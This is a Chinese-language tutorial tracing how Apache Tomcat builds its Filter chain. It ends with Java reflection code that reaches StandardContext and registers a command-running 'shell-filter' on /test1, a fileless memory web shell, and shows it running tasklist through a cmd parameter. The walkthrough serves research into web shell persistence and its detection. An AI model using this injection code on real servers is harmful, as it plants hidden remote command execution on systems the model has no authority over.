javaweb服务请求会先触发Filter,然后再到达Servlet

过程分析

这里自行创建了一个Filter拦截器,然后设置断点进行Debuge,查看程序运行情况。

如果想要创建Filter内存马,那么就需要将Filter像之前的Servlet一样加载到tomcat服务中。

这里通过查看程序的运行逻辑来研究Filter是怎么被加载到tomcat服务中的。

这里我们设置的拦截器为拦截全部路径/*,当请求带有cmd参数且不为空时就会执行命令,如果为空就执行super.doFilter(req, res, chain),这里设置断点并启动运行程序,由于设置的是全路径拦截,在程序启动的时候并没有参数,因此会执行super.doFilter(req, res, chain)

然后按F7进行步进程序,在步进程序的时候发现执行了三个不同doFilter()方法后进入了internalDoFilter()方法中。

可以看到我们断点处前面也有一个internalDoFilter()被调用。这里先看断点前面internalDoFilter()方法被调用时的相关对象的值。

查看此处是因为前面doFilter()这个方法中调用了internalDoFilter()方法,而此时的filterConfig对象中都是自己设置的Filter的相关值。

再将程序运行到第二次执行internalDoFilter()方法处

可以看到程序中的filterConfig对象中的相关值都变成了tomcat服务默认自带的Filter配置。

通过研究发现internalDoFilter()方法中的filters数组中包含了全部的Filter

通过对这个internalDoFilter()进行学习和研究可以发现,internalDoFilter 方法实现了对请求的逐层过滤和处理。它通过ApplicationFilterConfig filterConfig = filters[pos++]这个行代码依次来获取并调用Filter。

那么如果想要注入Filter内存马的话就需要研究在服务初始化的时候,Filter是怎么被添加到filters数组中的。

filters数组的创建是在ApplicationFilterChain.java类中,通过private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];来进行创建的。

知道数组的创建,我们可以通过在数组创建处Ctrl+鼠标左键来查看数组的修改,我们需要知道数组是何时添加的Filter。

可以看到filters的赋值操作,点击跳转。发现是ApplicationFilterChain.java类中的addFilter()方法来对filters数组进行赋值操作的。

既然知道是addFilter()方法对filters数组进行赋值操作的,那么需要时谁调用了addFilter()方法。

可以看到是ApplicationFilterFactory.java类中filterChain调用了addFilter()方法。

跳转进行跟进,发现filterChain是ApplicationFilterFactory.java类中的createFilterChain()方法在开始的时候创建的ApplicationFilterChain filterChain;类型的变量。

ApplicationFilterFactory.java类中的createFilterChain()方法最后会返回一个filterChain。接下来需要知道谁调用了ApplicationFilterFactory.java类中的createFilterChain()这个方法,并获取到了添加过Filter的filterChain。创建了filterChain就完成了一路的链式调用。

但是调用ApplicationFilterFactory.java类中的createFilterChain()方法把Filter添加到filterChain中有一个条件,就是filterConfig 不能为空,filterConfig是通过ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName())这里就涉及了context.findFilterConfig(),context为StandardContext实例化对象。filterMap也是从FilterMap[] filterMaps = context.findFilterMaps()这里面filterMaps中获取这里也涉及了context为StandardContext实例化对象。这里分别查看

findFilterMaps()方法返回了一个filterMaps.asArray()数组对象,向filterMaps添加值的方法是StandardContext.java类中的addFilterMap(FilterMap filterMap)方法。

findFilterConfig()这个方法中return filterConfigs.get(name)返回了与指定 name 相关联的 FilterConfig 对象。其中filterconfigs中相关对象的获取是通过StandardContext.java类中的filterStart()方法来获取。其中filterStart()方法中是通过filterDefs中的filterDef将值传递给filterConfigs的,而filterDefs中的值的获取是靠StandardContext.java类中的addFilterDef(FilterDef filterDef)方法来获取的。

总上所述,需要将自己写的filter添加到filterMaps中和filterConfigs,添加到filterConfigs中需要先把filter添加到filterDefs中,然后调用filterStar()方法把filterDefs对应的值传递给filterConfigs。

添加至filterMaps需要StandardContext.java类的addFilterMap(FilterMap filterMap)方法

添加至filterDefs需要StandardContext.java类中addFilterDef(FilterDef filterDef)方法

然后调用StandardContext.java类中filterStar()方法

利用反射构造Filter内存马

利用反射获取StandardContext对象,获取方式参考Servlet内存马

    //通过反射获取StandardContext
    ServletContext servletContext = request.getServletContext();
    //通过servletContext拿到applicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    //设置可访问权限
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
    //通过applicationContext拿到StandardContext
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);

实例化恶意类对象

FilterMemshell filter = new FilterMemshell();

创建FilterDef对象

FilterDef def = new FilterDef();
def.setFilterName("shell-filter");
def.setFilter(filter);
def.setFilterClass(filter.getClass().getName());

创建FilterMap对象

FilterMap map = new FilterMap();
map.setFilterName("shell-filter");
map.addURLPattern("/test1");

通过StandardContext调用相关函数

standardContext.addFilterDef(def);
standardContext.addFilterMap(map);
standardContext.filterStart();

这时候将写好的jsp文件放在服务器上访问的时候就会注入Filter内存马,这里Filter内存马的拦截的路径为test1,当请求这个路径时并且cmd还有命令参数时就会执行命令。

这里启动服务

先访问Fshell.jsp,然后访问/test1?cmd=tasklist来执行命令

参考链接

Filter内存马